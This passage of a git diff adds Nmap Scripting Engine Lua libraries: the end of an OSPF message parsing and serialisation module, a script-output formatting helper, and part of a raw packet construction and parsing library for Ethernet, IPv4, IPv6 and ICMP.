+ metric = 10,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local lsa_link = OSPF.LSA.Link:new()
+ local pos = 1
+ lsa_link.id, lsa_link.data, lsa_link.type,
+ lsa_link.num_metrics, lsa_link.metric, pos = string.unpack(">I4 I4 BB I2", data, pos)
+ lsa_link.id = ipOps.fromdword(lsa_link.id)
+ lsa_link.data = ipOps.fromdword(lsa_link.data)
+ return lsa_link
+ end,
+ },
+
+ Router = {
+ new = function(self)
+ local o = {
+ header = OSPF.LSA.Header:new(),
+ flags = 0,
+ num_links = 0,
+ links = {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local router = OSPF.LSA.Router:new()
+ local pos = OSPF.LSA.Header.size + 1
+ router.header = OSPF.LSA.Header.parse(data)
+ router.flags, router.num_links, pos = string.unpack(">B x I2", data, pos)
+
+ while ( pos < router.header.length ) do
+ table.insert(router.links, OSPF.LSA.Link.parse(data:sub(pos, pos + 12)))
+ pos = pos + 12
+ end
+
+ return router
+ end,
+ },
+
+ ASExternal = {
+ new = function(self)
+ local o = {
+ header = OSPF.LSA.Header:new(),
+ netmask = 0,
+ ext_type = 1,
+ metric = 1,
+ fw_address = 0,
+ ext_tag = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local as_ext = OSPF.LSA.ASExternal:new()
+ local pos = OSPF.LSA.Header.size + 1
+ as_ext.header = OSPF.LSA.Header.parse(data)
+
+ as_ext.netmask, as_ext.metric, as_ext.fw_address, as_ext.ext_tag, pos = string.unpack(">I4 I4 I4 I4", data, pos)
+ as_ext.netmask = ipOps.fromdword(as_ext.netmask)
+ as_ext.ext_type = 1 + ((as_ext.metric & 0xFF000000) >> 31)
+ as_ext.metric = as_ext.metric & 0x00FFFFFF
+ as_ext.fw_address = ipOps.fromdword(as_ext.fw_address)
+
+ return as_ext
+ end,
+ },
+
+ parse = function(data)
+ local header = OSPF.LSA.Header.parse(data)
+ if header.type == 1 then
+ return OSPF.LSA.Router.parse(data)
+ elseif header.type == 5 then
+ return OSPF.LSA.ASExternal.parse(data)
+ end
+ return header.length
+ end,
+ },
+
+ DBDescription = {
+
+ new = function(self)
+ local o = {
+ header = OSPF.Header:new(OSPF.Message.DB_DESCRIPTION),
+ mtu = 1500,
+ options = 2, -- external routing capability
+ init = true,
+ more = true,
+ master = true,
+ sequence = math.random(123456789),
+ lsa_headers = {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local function tostr()
+ local flags = 0
+ if ( self.init ) then flags = flags + 4 end
+ if ( self.more ) then flags = flags + 2 end
+ if ( self.master) then flags= flags + 1 end
+
+ local data = string.pack(">I2 BB I4", self.mtu, self.options, flags, self.sequence)
+ self.header:setLength(#data)
+ return tostring(self.header) .. data .. (self.header.auth_data.hash or "")
+ end
+ local data = tostr()
+ if have_ssl and self.header.auth_type == 0x02 then
+ self.header.auth_data.key = self.header.auth_data.key .. string.rep("\0", 16 - #self.header.auth_data.key)
+ self.header.auth_data.hash = openssl.md5(data .. self.header.auth_data.key)
+ else
+ self.header.chksum = packet.in_cksum(data:sub(1,16) .. data:sub(25))
+ end
+ return tostr()
+ end,
+
+ parse = function(data)
+ local desc = OSPF.DBDescription:new()
+ local pos = OSPF.Header.size + 1
+ desc.header = OSPF.Header.parse(data)
+ assert( #data >= desc.header.length, "OSPF packet too short")
+
+ local flags = 0
+ desc.mtu, desc.options, flags, desc.sequence, pos = string.unpack(">I2 BB I4", data, pos)
+
+ desc.init = (flags & 4) == 4
+ desc.more = (flags & 2) == 2
+ desc.master = (flags & 1) == 1
+
+ while ( pos < desc.header.length ) do
+ table.insert(desc.lsa_headers, OSPF.LSA.Header.parse(data:sub(pos, pos + 20)))
+ pos = pos + 20
+ end
+
+ if ( desc.init or not(desc.more) ) then
+ return desc
+ end
+
+ return desc
+ end,
+
+ },
+
+ LSRequest = {
+ new = function(self)
+ local o = {
+ header = OSPF.Header:new(OSPF.Message.LS_REQUEST),
+ ls_requests = {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Adds a request to the list of requests.
+ -- @param type LS Type.
+ -- @param id Link State ID
+ -- @param adv_router Advertising Router
+ addRequest = function(self, type, id, adv_router)
+ local request = {
+ type = type,
+ id = id,
+ adv_router = adv_router
+ }
+ table.insert(self.ls_requests, request)
+ end,
+
+ __tostring = function(self)
+ local function tostr()
+ local data = {}
+ for _, req in ipairs(self.ls_requests) do
+ data[#data+1] = string.pack(">I4 I4 I4", req.type, ipOps.todword(req.id), ipOps.todword(req.adv_router))
+ end
+ data = table.concat(data)
+ self.header:setLength(#data)
+ return tostring(self.header) .. data .. (self.header.auth_data.hash or "")
+ end
+ local data = tostr()
+ if have_ssl and self.header.auth_type == 0x02 then
+ self.header.auth_data.key = self.header.auth_data.key .. string.rep("\0", 16 - #self.header.auth_data.key)
+ self.header.auth_data.hash = openssl.md5(data .. self.header.auth_data.key)
+ else
+ self.header.chksum = packet.in_cksum(data:sub(1,16) .. data:sub(25))
+ end
+ return tostr()
+ end,
+
+ parse = function(data)
+ local ls_req = OSPF.LSRequest:new()
+ local pos = OSPF.Header.size + 1
+ ls_req.header = OSPF.Header.parse(data)
+ assert( #data >= ls_req.header.length, "OSPF packet too short")
+
+ while ( pos < #data ) do
+ local req = {}
+ req.type, req.id, req.adv_router, pos = string.unpack(">I4 I4 I4", data, pos)
+ table.insert(ls_req.ls_requests, req)
+ end
+
+ return ls_req
+ end,
+ },
+
+ LSUpdate = {
+ new = function(self)
+ local o = {
+ header = OSPF.Header:new(OSPF.Message.LS_UPDATE),
+ num_lsas = 0,
+ lsas = {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local lsu = OSPF.LSUpdate:new()
+ local pos = OSPF.Header.size + 1
+ lsu.header = OSPF.Header.parse(data)
+ assert( #data >= lsu.header.length, "OSPF packet too short")
+
+ lsu.num_lsas, pos = string.unpack(">I4", data, pos)
+
+ while ( pos < lsu.header.length ) do
+ local lsa = OSPF.LSA.parse(data:sub(pos))
+ if ( type(lsa) == "table" ) then
+ table.insert(lsu.lsas, lsa)
+ pos = pos + lsa.header.length
+ else
+ pos = pos + lsa
+ end
+ end
+
+ return lsu
+ end,
+ },
+
+ Response = {
+
+ parse = function(data)
+ local ver, ospf_type, pos = string.unpack("BB", data)
+ if ( ospf_type == OSPF.Message.HELLO ) then
+ return OSPF.Hello.parse( data )
+ elseif( ospf_type == OSPF.Message.DB_DESCRIPTION ) then
+ return OSPF.DBDescription.parse(data)
+ elseif( ospf_type == OSPF.Message.LS_REQUEST ) then
+ return OSPF.LSRequest.parse(data)
+ elseif( ospf_type == OSPF.Message.LS_UPDATE ) then
+ return OSPF.LSUpdate.parse(data)
+ end
+ return
+ end,
+
+ }
+}
+
+return _ENV;
diff --git a/nselib/outlib.lua b/nselib/outlib.lua
new file mode 100644
index 0000000..3379256
--- /dev/null
+++ b/nselib/outlib.lua
@@ -0,0 +1,79 @@
+--- Helper functions for NSE script output
+--
+-- These functions are useful for ensuring output is consistently ordered
+-- between scans and following conventions for output formatting.
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name outlib
+
+local tableaux = require "tableaux"
+local keys = tableaux.keys
+
+local coroutine = require "coroutine"
+local wrap = coroutine.wrap
+local yield = coroutine.yield
+
+local table = require "table"
+local sort = table.sort
+local concat = table.concat
+
+local getmetatable = getmetatable
+local setmetatable = setmetatable
+local ipairs = ipairs
+
+local _ENV = {}
+
+--- Create a table that yields elements sorted by key when iterated over with pairs()
+--
+-- The returned table is like a sorted view of the original table; it should be
+-- treated as read-only, and any new data should be added to the original table
+-- instead.
+--@param t The table whose data should be used
+--@return out A table that can be passed to pairs() to get sorted results
+function sorted_by_key(t)
+ local out = {}
+ setmetatable(out, {
+ __pairs = function(_)
+ local order = keys(t)
+ sort(order)
+ return wrap(function()
+ for i,k in ipairs(order) do
+ yield(k, t[k])
+ end
+ end)
+ end
+ })
+ return out
+end
+
+local commasep = {
+ __tostring = function (t)
+ return concat(t, ", ")
+ end
+}
+
+--- Comma-separated list output
+--
+-- This adds a <code>__tostring</code> metamethod to a list (integer-indexed
+-- table) so that it will be formatted as a comma-separated list when converted
+-- to a string.
+-- @param t The table to format
+-- @param sep (Optional) list separator character, default: ", "
+function list_sep(t, sep)
+ -- Reuse closures and metatables as much as possible
+ local oldmt = getmetatable(t)
+ local newmt = sep and {
+ __tostring = function(tt)
+ return concat(tt, sep)
+ end} or commasep
+ -- Avoid clobbering old metatable or our static commasep table
+ if oldmt and oldmt ~= commasep then
+ oldmt.__tostring = newmt.__tostring
+ else
+ setmetatable(t, newmt)
+ end
+end
+
+return _ENV
diff --git a/nselib/packet.lua b/nselib/packet.lua
new file mode 100644
index 0000000..b09dcc9
--- /dev/null
+++ b/nselib/packet.lua
@@ -0,0 +1,1075 @@
+---
+-- Facilities for manipulating raw packets.
+--
+-- @author Marek Majkowski <majek04+nse@gmail.com>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local string = require "string"
+local unittest = require "unittest"
+_ENV = stdnse.module("packet", stdnse.seeall)
+
+
+----------------------------------------------------------------------------------------------------------------
+--- Get an 8-bit integer at a 0-based byte offset in a byte string.
+-- @param b A byte string.
+-- @param i Offset.
+-- @return An 8-bit integer.
+local function u8(b, i)
+ return b:byte(i+1)
+end
+--- Get a 16-bit integer at a 0-based byte offset in a byte string.
+-- @param b A byte string.
+-- @param i Offset.
+-- @return A 16-bit integer.
+local function u16(b, i)
+ return (">I2"):unpack(b, i+1)
+end
+--- Get a 32-bit integer at a 0-based byte offset in a byte string.
+-- @param b A byte string.
+-- @param i Offset.
+-- @return A 32-bit integer.
+local function u32(b,i)
+ return (">I4"):unpack(b, i+1)
+end
+
+--- Set an 8-bit integer at a 0-based byte offset in a byte string
+-- (big-endian).
+-- @param b A byte string.
+-- @param i Offset.
+-- @param num Integer to store.
+local function set_u8(b, i, num)
+ local s = string.char(num & 0xff)
+ return b:sub(0+1, i+1-1) .. s .. b:sub(i+1+1)
+end
+--- Set a 16-bit integer at a 0-based byte offset in a byte string
+-- (big-endian).
+-- @param b A byte string.
+-- @param i Offset.
+-- @param num Integer to store.
+local function set_u16(b, i, num)
+ return b:sub(0+1, i+1-1) .. (">I2"):pack(num) .. b:sub(i+1+2)
+end
+--- Set a 32-bit integer at a 0-based byte offset in a byte string
+-- (big-endian).
+-- @param b A byte string.
+-- @param i Offset.
+-- @param num Integer to store.
+local function set_u32(b,i, num)
+ return b:sub(0+1, i+1-1) .. (">I4"):pack(num) .. b:sub(i+1+4)
+end
+
+--- Calculate a standard Internet checksum.
+-- @param b Data to checksum.
+-- @return Checksum.
+function in_cksum(b)
+ local sum = 0
+
+ -- Pad to even length, then sum up
+ string.gsub(b .. ("\0"):rep(#b % 2), "..", function(twobytes)
+ sum = sum + (">I2"):unpack(twobytes)
+ end)
+
+ local shifted = sum >> 16
+ while shifted > 0 do
+ sum = (sum & 0xffff) + shifted
+ shifted = sum >> 16
+ end
+
+ sum = ~sum
+ sum = (sum & 0xffff) -- truncate to 16 bits
+ return sum
+end
+
+-- ip protocol field
+IPPROTO_IP = 0 -- Dummy protocol for TCP
+IPPROTO_HOPOPTS = 0 -- IPv6 hop-by-hop options
+IPPROTO_ICMP = 1 -- Internet Control Message Protocol
+IPPROTO_IGMP = 2 -- Internet Group Management Protocol
+IPPROTO_IPIP = 4 -- IPIP tunnels (older KA9Q tunnels use 94)
+IPPROTO_TCP = 6 -- Transmission Control Protocol
+IPPROTO_EGP = 8 -- Exterior Gateway Protocol
+IPPROTO_PUP = 12 -- PUP protocol
+IPPROTO_UDP = 17 -- User Datagram Protocol
+IPPROTO_IDP = 22 -- XNS IDP protocol
+IPPROTO_DCCP = 33 -- Datagram Congestion Control Protocol
+IPPROTO_RSVP = 46 -- RSVP protocol
+IPPROTO_GRE = 47 -- Cisco GRE tunnels (rfc 1701,1702)
+IPPROTO_IPV6 = 41 -- IPv6-in-IPv4 tunnelling
+
+IPPROTO_ROUTING = 43 -- IPv6 routing header
+IPPROTO_FRAGMENT= 44 -- IPv6 fragmentation header
+IPPROTO_ESP = 50 -- Encapsulation Security Payload protocol
+IPPROTO_AH = 51 -- Authentication Header protocol
+IPPROTO_ICMPV6 = 58 -- ICMP for IPv6
+IPPROTO_DSTOPTS = 60 -- IPv6 destination options
+IPPROTO_BEETPH = 94 -- IP option pseudo header for BEET
+IPPROTO_PIM = 103 -- Protocol Independent Multicast
+
+IPPROTO_COMP = 108 -- Compression Header protocol
+IPPROTO_SCTP = 132 -- Stream Control Transport Protocol
+IPPROTO_UDPLITE = 136 -- UDP-Lite (RFC 3828)
+
+
+ICMP_ECHO_REQUEST = 8
+ICMP_ECHO_REPLY = 0
+
+ICMP6_ECHO_REQUEST = 128
+ICMP6_ECHO_REPLY = 129
+MLD_LISTENER_QUERY = 130
+MLD_LISTENER_REPORT = 131
+MLD_LISTENER_REDUCTION = 132
+ND_ROUTER_SOLICIT = 133
+ND_ROUTER_ADVERT = 134
+ND_NEIGHBOR_SOLICIT = 135
+ND_NEIGHBOR_ADVERT = 136
+ND_REDIRECT = 137
+MLDV2_LISTENER_REPORT = 143
+
+ND_OPT_SOURCE_LINKADDR = 1
+ND_OPT_TARGET_LINKADDR = 2
+ND_OPT_PREFIX_INFORMATION = 3
+ND_OPT_REDIRECTED_HEADER = 4
+ND_OPT_MTU = 5
+ND_OPT_RTR_ADV_INTERVAL = 7
+ND_OPT_HOME_AGENT_INFO = 8
+
+ETHER_TYPE_IPV4 = "\x08\x00"
+ETHER_TYPE_IPV6 = "\x86\xdd"
+
+----------------------------------------------------------------------------------------------------------------
+-- Frame is a class
+Frame = {}
+
+function Frame:new(frame, force_continue)
+ local packet = nil
+ local packet_len = 0
+ if frame and #frame > 14 then
+ packet = string.sub(frame, 15, -1)
+ packet_len = #frame - 14
+ end
+ local o = Packet:new(packet, packet_len, force_continue)
+
+ o.build_ether_frame = self.build_ether_frame
+ o.ether_parse = self.ether_parse
+ o.frame_buf = frame
+ o:ether_parse()
+ return o
+end
+--- Build an Ethernet frame.
+-- @param mac_dst six-byte string of the destination MAC address.
+-- @param mac_src six-byte string of the source MAC address.
+-- @param ether_type two-byte string of the type.
+-- @param packet string of the payload.
+-- @return frame string of the Ether frame.
+function Frame:build_ether_frame(mac_dst, mac_src, ether_type, packet)
+ self.mac_dst = mac_dst or self.mac_dst
+ self.mac_src = mac_src or self.mac_src
+ self.ether_type = ether_type or self.ether_type
+ self.buf = packet or self.buf
+ if not self.ether_type then
+ return nil, "Unknown packet type."
+ end
+ self.frame_buf = self.mac_dst..self.mac_src..self.ether_type..self.buf
+end
+--- Parse an Ethernet frame.
+-- @param frame string of the Ether frame.
+-- @return mac_dst six-byte string of the destination MAC address.
+-- @return mac_src six-byte string of the source MAC address.
+-- @return packet string of the payload.
+function Frame:ether_parse()
+ if not self.frame_buf or #self.frame_buf < 14 then -- too short
+ return false
+ end
+ self.mac_dst = string.sub(self.frame_buf, 1, 6)
+ self.mac_src = string.sub(self.frame_buf, 7, 12)
+ self.ether_type = u16(self.frame_buf, 12)
+end
+
+----------------------------------------------------------------------------------------------------------------
+-- Packet is a class
+Packet = {}
+
+--- Create a new Packet object.
+-- @param packet Binary string with packet data.
+-- @param packet_len Packet length. It could be more than
+-- <code>#packet</code>.
+-- @param force_continue whether an error in parsing headers should be fatal or
+-- not. This is especially useful when parsing ICMP packets, where a small ICMP
+-- payload could be a TCP header. The problem is that parsing this payload
+-- normally would fail because the TCP header is too small.
+-- @return A new Packet.
+function Packet:new(packet, packet_len, force_continue)
+ local o = setmetatable({}, {__index = Packet})
+ if not packet then
+ return o
+ end
+ o.buf = packet
+ o.packet_len = packet_len
+ o.ip_v = string.byte(o.buf) >> 4
+ if o.ip_v == 4 and not o:ip_parse(force_continue) then
+ return nil
+ elseif o.ip_v == 6 and not o:ip6_parse(force_continue) then
+ return nil
+ end
+
+ if o.ip_v == 6 then
+ while o:ipv6_is_extension_header() do
+ if o.ip6_data_offset >= o.packet_len or not o:ipv6_ext_header_parse(force_continue) then
+ stdnse.debug1("Error while parsing IPv6 extension headers.")
+ return o
+ end
+ end
+ o.ip_p = o.ip6_nhdr
+ end
+
+ if o.ip_p == IPPROTO_TCP then
+ if not o:tcp_parse(force_continue) then
+ stdnse.debug1("Error while parsing TCP packet\n")
+ end
+ elseif o.ip_p == IPPROTO_UDP then
+ if not o:udp_parse(force_continue) then
+ stdnse.debug1("Error while parsing UDP packet\n")
+ end
+ elseif o.ip_p == IPPROTO_ICMP then
+ if not o:icmp_parse(force_continue) then
+ stdnse.debug1("Error while parsing ICMP packet\n")
+ end
+ elseif o.ip_p == IPPROTO_ICMPV6 then
+ if not o:icmpv6_parse(force_continue) then
+ stdnse.debug1("Error while parsing ICMPv6 packet\n")
+ end
+ end
+ return o
+end
+--- Convert Version, Traffic Class and Flow Label to a 4-byte string.
+-- @param ip6_tc Number stands for Traffic Class.
+-- @param ip6_fl Number stands for Flow Label.
+-- @return The first four-byte string of an IPv6 header.
+local function ipv6_hdr_tc_fl(ip6_tc, ip6_fl)
+ return (6 << 28) +
+ ((ip6_tc & 0xFF) << 20) +
+ (ip6_fl & 0xFFFFF)
+end
+--- Build an IPv6 packet.
+-- @param src 16-byte string of the source IPv6 address.
+-- @param dsr 16-byte string of the destination IPv6 address.
+-- @param nx_hdr integer that represents next header.
+-- @param h_limit integer that represents hop limit.
+-- @param t_class integer that represents traffic class.
+-- @param f_label integer that represents flow label.
+function Packet:build_ipv6_packet(src, dst, nx_hdr, payload, h_limit, t_class, f_label)
+ self.ether_type = ETHER_TYPE_IPV6
+ self.ip_v = 6
+ self.ip_bin_src = src or self.ip_bin_src
+ self.ip_bin_dst = dst or self.ip_bin_dst
+ self.ip6_nhdr = nx_hdr or self.ip6_nhdr
+ self.l4_packet = payload or self.l4_packet
+ self.ip6_tc = t_class or self.ip6_tc or 1
+ self.ip6_fl = f_label or self.ip6_fl or 1
+ self.ip6_hlimit = h_limit or self.ip6_hlimit or 255
+ self.ip6_plen = #(self.exheader or "")+#(self.l4_packet or "")
+ self.buf = (">I4I2BBc16c16"):pack(
+ ipv6_hdr_tc_fl(self.ip6_tc, self.ip6_fl),
+ self.ip6_plen, --payload length
+ self.ip6_nhdr, --next header
+ self.ip6_hlimit, --hop limit
+ self.ip_bin_src, --Source
+ self.ip_bin_dst) .. --dest
+ (self.exheader or "")..
+ (self.l4_packet or "")
+end
+--- Return true if and only if the next header is an known extension header.
+-- @param nhdr Next header.
+function Packet:ipv6_is_extension_header(nhdr)
+ self.ip6_nhdr = nhdr or self.ip6_nhdr
+ if self.ip6_nhdr == IPPROTO_HOPOPTS or
+ self.ip6_nhdr == IPPROTO_DSTOPTS or
+ self.ip6_nhdr == IPPROTO_ROUTING or
+ self.ip6_nhdr == IPPROTO_FRAGMENT then
+ return true
+ end
+ return nil
+end
+--- Count IPv6 checksum.
+-- @return the checksum.
+function Packet:count_ipv6_pseudoheader_cksum()
+ local pseudoheader = (">c16c16I2xxxB"):pack(
+ self.ip_bin_src, self.ip_bin_dst, #self.l4_packet, self.ip6_nhdr)
+ local ck_content = pseudoheader .. self.l4_packet
+ return in_cksum(ck_content)
+end
+--- Set ICMPv6 checksum.
+function Packet:set_icmp6_cksum(check_sum)
+ self.l4_packet = set_u16(self.l4_packet, 2, check_sum)
+end
+--- Build an ICMPv6 header.
+-- @param icmpv6_type integer that represent ICMPv6 type.
+-- @param icmpv6_code integer that represent ICMPv6 code.
+-- @param icmpv6_payload string of the payload
+-- @param ip_bin_src 16-byte string of the source IPv6 address.
+-- @param ip_bin_dst 16-byte string of the destination IPv6 address.
+function Packet:build_icmpv6_header(icmpv6_type, icmpv6_code, icmpv6_payload, ip_bin_src, ip_bin_dst)
+ self.ip6_nhdr = IPPROTO_ICMPV6
+ self.icmpv6_type = icmpv6_type or self.icmpv6_type
+ self.icmpv6_code = icmpv6_code or self.icmpv6_code
+ self.icmpv6_payload = icmpv6_payload or self.icmpv6_payload
+ self.ip_bin_src = ip_bin_src or self.ip_bin_src
+ self.ip_bin_dst = ip_bin_dst or self.ip_bin_dst
+
+ self.l4_packet = ("BBxx"):pack(self.icmpv6_type, self.icmpv6_code) ..
+ (self.icmpv6_payload or "")
+ local check_sum = self:count_ipv6_pseudoheader_cksum()
+ self:set_icmp6_cksum(check_sum)
+end
+--- Build an ICMPv6 Echo Request frame.
+-- @param mac_src six-byte string of source MAC address.
+-- @param mac_dst sis-byte string of destination MAC address.
+-- @param ip_bin_src 16-byte string of source IPv6 address.
+-- @param ip_bin_dst 16-byte string of destination IPv6 address.
+-- @param id integer that represents Echo ID.
+-- @param sequence integer that represents Echo sequence.
+-- @param data string of Echo data.
+-- @param tc integer that represents traffic class of IPv6 packet.
+-- @param fl integer that represents flow label of IPv6 packet.
+-- @param hop-limit integer that represents hop limit of IPv6 packet.
+function Packet:build_icmpv6_echo_request(id, sequence, data, mac_src, mac_dst, ip_bin_src, ip_bin_dst, tc, fl, hop_limit)
+ self.mac_src = mac_src or self.mac_src
+ self.mac_dst = mac_dst or self.mac_dst
+
+ self.ip_bin_src = ip_bin_src or self.ip_bin_src
+ self.ip_bin_dst = ip_bin_dst or self.ip_bin_dst
+ self.traffic_class = tc or 1
+ self.flow_label = fl or 1
+ self.ip6_hlimit = hop_limit or 255
+
+ self.icmpv6_type = ICMP6_ECHO_REQUEST
+ self.icmpv6_code = 0
+
+ self.echo_id = id or self.echo_id or 0xdead
+ self.echo_seq = sequence or self.echo_seq or 0xbeef
+ self.echo_data = data or self.echo_data or ""
+
+ self.icmpv6_payload = (">I2I2"):pack(self.echo_id, self.echo_seq) .. self.echo_data
+end
+--- Set an ICMPv6 option message.
+function Packet:set_icmpv6_option(opt_type,msg)
+ return string.char(opt_type, (#msg+2)/8) .. msg
+end
+
+--- Build an IPv4 packet.
+-- @param src 4-byte string of the source IP address.
+-- @param dst 4-byte string of the destination IP address.
+-- @param payload string containing the IP payload
+-- @param dsf byte that represents the differentiated services field
+-- @param id integer that represents the IP identification
+-- @param flags integer that represents the IP flags
+-- @param off integer that represents the IP offset
+-- @param ttl integer that represent the IP time to live
+-- @param proto integer that represents the IP protocol
+function Packet:build_ip_packet(src, dst, payload, dsf, id, flags, off, ttl, proto)
+ self.ether_type = ETHER_TYPE_IPV4
+ self.ip_v = 4
+ self.ip_bin_src = src or self.ip_bin_src
+ self.ip_bin_dst = dst or self.ip_bin_dst
+ self.l3_packet = payload or self.l3_packet
+ self.ip_dsf = dsf or self.ip_dsf or 0
+ self.ip_p = proto or self.ip_p
+ self.flags = flags or self.flags or 0 -- should be split into ip_rd, ip_df, ip_mv
+ self.ip_id = id or self.ip_id or 0xbeef
+ self.ip_off = off or self.ip_off or 0
+ self.ip_ttl = ttl or self.ip_ttl or 255
+ self.buf = (">BBI2I2BBBBI2c4c4"):pack(
+ (self.ip_v << 4) + 20 / 4, -- version and header length
+ self.ip_dsf,
+ #self.l3_packet + 20,
+ self.ip_id,
+ self.flags,
+ self.ip_off,
+ self.ip_ttl,
+ self.ip_p,
+ 0, -- checksum
+ self.ip_bin_src, --Source
+ self.ip_bin_dst --dest
+ )
+
+ self.buf = set_u16(self.buf, 10, in_cksum(self.buf))
+ self.buf = self.buf .. self.l3_packet
+end
+--- Build an ICMP header.
+-- @param icmp_type integer that represent ICMPv6 type.
+-- @param icmp_code integer that represent ICMPv6 code.
+-- @param icmp_payload string of the payload
+-- @param ip_bin_src 16-byte string of the source IPv6 address.
+-- @param ip_bin_dst 16-byte string of the destination IPv6 address.
+function Packet:build_icmp_header(icmp_type, icmp_code, icmp_payload, ip_bin_src, ip_bin_dst)
+ self.icmp_type = icmp_type or self.icmp_type
+ self.icmp_code = icmp_code or self.icmp_code
+ self.icmp_payload = icmp_payload or self.icmp_payload
+ self.ip_bin_src = ip_bin_src or self.ip_bin_src
+ self.ip_bin_dst = ip_bin_dst or self.ip_bin_dst
+
+ self.l3_packet = ("BBxx"):pack(self.icmp_type, self.icmp_code) ..
+ (self.icmp_payload or "")
+ self.l3_packet = set_u16(self.l3_packet, 2, in_cksum(self.l3_packet))
+end
+--- Build an ICMP Echo Request frame.
+-- @param mac_src six-byte string of source MAC address.
+-- @param mac_dst sis-byte string of destination MAC address.
+-- @param ip_bin_src 16-byte string of source IPv6 address.
+-- @param ip_bin_dst 16-byte string of destination IPv6 address.
+-- @param id integer that represents Echo ID.
+-- @param seq integer that represents Echo sequence.
+-- @param data string of Echo data.
+-- @param dsf integer that represents differentiated services field.
+function Packet:build_icmp_echo_request(id, seq, data, mac_src, mac_dst, ip_bin_src, ip_bin_dst)
+ self.mac_src = mac_src or self.mac_src
+ self.mac_dst = mac_dst or self.mac_dst
+
+ self.ip_p = IPPROTO_ICMP
+ self.ip_bin_src = ip_bin_src or self.ip_bin_src
+ self.ip_bin_dst = ip_bin_dst or self.ip_bin_dst
+
+ self.icmp_type = ICMP_ECHO_REQUEST
+ self.icmp_code = 0
+
+ self.echo_id = id or self.echo_id or 0xdead
+ self.echo_seq = seq or self.echo_seq or 0xbeef
+ self.echo_data = data or self.echo_data or ""
+
+ self.icmp_payload = (">I2I2"):pack(self.echo_id, self.echo_seq) .. self.echo_data
+end
+
+
+-- Helpers
+
+
+local function _hex_str (x)
+ return string.char(tonumber(x, 16))
+end
+--- Convert a MAC address string (like <code>"00:23:ae:5d:3b:10"</code>) to
+-- a raw six-byte long.
+-- @param str MAC address string.
+-- @return Six-byte string.
+function mactobin(str)
+ if not str then
+ return nil, "MAC was not specified."
+ end
+ return (str:gsub("(%x%x)[^%x]?", _hex_str))
+end
+
+--- Generate the link-local IPv6 address from the MAC address.
+-- @param mac MAC address string.
+-- @return Link-local IPv6 address string.
+function mac_to_lladdr(mac)
+ if not mac then
+ return nil, "MAC was not specified."
+ end
+ local interfier = string.char((string.byte(mac,1) | 0x02))..string.sub(mac,2,3).."\xff\xfe"..string.sub(mac,4,6)
+ local ll_prefix = ipOps.ip_to_str("fe80::")
+ return string.sub(ll_prefix,1,8)..interfier
+end
+--- Get an 8-bit integer at a 0-based byte offset in the packet.
+-- @param index Offset.
+-- @return An 8-bit integer.
+function Packet:u8(index)
+ return u8(self.buf, index)
+end
+--- Get a 16-bit integer at a 0-based byte offset in the packet.
+-- @param index Offset.
+-- @return A 16-bit integer.
+function Packet:u16(index)
+ return u16(self.buf, index)
+end
+--- Get a 32-bit integer at a 0-based byte offset in the packet.
+-- @param index Offset.
+-- @return An 32-bit integer.
+function Packet:u32(index)
+ return u32(self.buf, index)
+end
+--- Return part of the packet contents as a byte string.
+-- @param index The beginning of the part of the packet to extract. The index
+-- is 0-based. If omitted the default value is 0 (beginning of the string)
+-- @param length The length of the part of the packet to extract. If omitted
+-- the remaining contents from index to the end of the string are returned.
+-- @return A string.
+function Packet:raw(index, length)
+ if not index then index = 0 end
+ if not length then length = #self.buf-index end
+ return self.buf:sub(index+1, index+1+length-1)
+end
+
+--- Set an 8-bit integer at a 0-based byte offset in the packet.
+-- (big-endian).
+-- @param index Offset.
+-- @param num Integer to store.
+function Packet:set_u8(index, num)
+ self.buf = set_u8(self.buf, index, num)
+ return self.buf
+end
+--- Set a 16-bit integer at a 0-based byte offset in the packet.
+-- (big-endian).
+-- @param index Offset.
+-- @param num Integer to store.
+function Packet:set_u16(index, num)
+ self.buf = set_u16(self.buf, index, num)
+ return self.buf
+end
+--- Set a 32-bit integer at a 0-based byte offset in the packet.
+-- (big-endian).
+-- @param index Offset.
+-- @param num Integer to store.
+function Packet:set_u32(index, num)
+ self.buf = set_u32(self.buf, index, num)
+ return self.buf
+end
+
+--- Parse an IP packet header.
+-- @param force_continue Ignored.
+-- @return Whether the parsing succeeded.
+function Packet:ip_parse(force_continue)
+ self.ip_offset = 0
+ if #self.buf < 20 then -- too short
+ stdnse.debug2("Packet.ip_parse: too short")
+ return false
+ end
+ self.ip_v = (self:u8(self.ip_offset + 0) & 0xF0) >> 4
+ self.ip_hl = (self:u8(self.ip_offset + 0) & 0x0F) -- header_length or data_offset
+ if self.ip_v ~= 4 then -- not ip
+ stdnse.debug2("Packet.ip_parse: Not IPv4")
+ return false
+ end
+ self.ip = true
+ self.ip_tos = self:u8(self.ip_offset + 1)
+ self.ip_len = self:u16(self.ip_offset + 2)
+ self.ip_id = self:u16(self.ip_offset + 4)
+ self.ip_off = self:u16(self.ip_offset + 6)
+ self.ip_rf = (self.ip_off & 0x8000)~=0 -- true/false
+ self.ip_df = (self.ip_off & 0x4000)~=0
+ self.ip_mf = (self.ip_off & 0x2000)~=0
+ self.ip_off = (self.ip_off & 0x1FFF) -- fragment offset
+ self.ip_ttl = self:u8(self.ip_offset + 8)
+ self.ip_p = self:u8(self.ip_offset + 9)
+ self.ip_sum = self:u16(self.ip_offset + 10)
+ self.ip_bin_src = self:raw(self.ip_offset + 12,4) -- raw 4-bytes string
+ self.ip_bin_dst = self:raw(self.ip_offset + 16,4)
+ self.ip_src = ipOps.str_to_ip(self.ip_bin_src) -- formatted string
+ self.ip_dst = ipOps.str_to_ip(self.ip_bin_dst)
+ self.ip_opt_offset = self.ip_offset + 20
+ self.ip_options = self:parse_options(self.ip_opt_offset, ((self.ip_hl*4)-20))
+ self.ip_data_offset = self.ip_offset + self.ip_hl*4
+ return true
+end
+--- Parse an IPv6 packet header.
+-- @param force_continue Ignored.
